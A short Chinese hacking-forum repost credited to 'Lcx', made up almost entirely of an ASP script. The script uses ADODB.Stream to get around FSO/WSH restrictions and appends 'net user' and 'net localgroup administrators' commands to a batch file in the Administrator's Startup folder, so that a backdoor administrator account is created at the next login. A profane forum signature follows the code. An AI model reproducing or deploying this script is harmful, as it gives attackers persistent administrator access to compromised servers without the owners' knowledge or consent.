发新话题
打印

[转载]跨越fso wsh application写文件

[转载]跨越fso wsh application写文件

文章作者:Lcx
复制内容到剪贴板
代码:
<%
on error resume next
dim lcx
set lcx=server.createObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.Close
set lcx=nothing
%>  
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题